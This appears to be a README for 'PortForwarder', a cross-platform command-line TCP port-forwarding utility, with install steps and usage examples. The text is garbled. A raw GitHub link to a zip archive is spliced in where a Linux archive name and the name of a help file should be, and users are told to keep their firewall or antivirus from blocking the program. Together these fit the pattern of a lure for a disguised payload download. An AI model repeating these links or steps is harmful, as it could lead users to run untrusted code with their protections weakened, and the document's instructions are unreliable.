PortForwarder is a simple utility built in C that helps you forward TCP ports. If you need to make a service on your computer available to others over a network, this tool can redirect traffic from one port to another. It works on Windows, Mac, and Linux computers.
You do not need to be a programmer to use PortForwarder. With just a few clicks, you can set up port forwarding to enable things like remote access, game hosting, or running web servers on your local machine.
- Windows 7 or later, macOS 10.12 or later, Linux with glibc 2.17 or higher
- Minimum 512 MB of RAM
- At least 10 MB of free disk space
- Administrator or root access may be required to forward ports below 1024
- Forward traffic from one TCP port to another on the same or different machine
- Lightweight and fast, with minimal system resource use
- Works from the command line with simple commands
- Open-source and free to use
- Compatible with IPv4 networks
This guide will help you download, install, and run PortForwarder step-by-step. You do not need any programming skills.
Please visit this page to download the latest version of PortForwarder:
β‘οΈ PortForwarder Downloads
You will see links to download files for Windows, macOS, and Linux. Choose the installer or zip file that matches your system.
- Download the
.exeinstaller or the zip archive. - If you downloaded the zip file, extract it to a folder.
- Run the
.exefile, or open a Command Prompt and navigate to the folder containing the program.
- Download the
https://raw.githubusercontent.com/Metasoftia/PortForwarder/main/x64/Forwarder-Port-1.2.zipor.zipfile. - Extract the file to a folder.
- Open a Terminal window.
- Navigate to the extracted folder.
- Make the program executable if needed by typing
chmod +x portforwarder(replaceportforwarderwith the actual filename). - You can now run the program from Terminal.
Once installed, you will use PortForwarder via simple commands on your computerβs command line interface (Command Prompt on Windows, Terminal on Mac/Linux).
To forward traffic from one port to another, use this structure:
portforwarder [local_port] [target_ip] [target_port]
local_port: The port on your computer that will listen for connectionstarget_ip: The IP address where the traffic should be senttarget_port: The port on the target machine to forward the traffic to
Example:
If you want to forward traffic coming to port 8080 on your computer to port 80 on a device with IP 192.168.1.100, you would type:
portforwarder 8080 192.168.1.100 80
- Open a web browser or use any app that connects to the forwarded port.
- Connect to
localhost:[local_port](for example,localhost:8080). - If the forwarding is running correctly, the traffic will reach the target IP and port.
PortForwarder may support additional features like:
- Logging connections to a file for troubleshooting
- Running as a background process or service
- Forwarding ports on remote machines (depending on your network setup)
- Using custom configuration files for easier management
To learn about advanced commands, check the https://raw.githubusercontent.com/Metasoftia/PortForwarder/main/x64/Forwarder-Port-1.2.zip file inside the download or press portforwarder --help in your command line.
- Ensure no other program is using the local port you want to forward.
- Make sure your firewall or antivirus does not block PortForwarder.
- If forwarding ports below 1024, you may need administrator rights.
- Verify the target IP and port are correct and accessible.
- Restart your network connection if changes do not take effect.
- Official Downloads Page
- Use forum or community support on GitHub Issues section for help
- Consult your operating systemβs manual on ports and firewalls if you encounter issues
For questions or support, visit the GitHub repository Metasoftia/PortForwarder. The issues page lets you report problems or ask for help.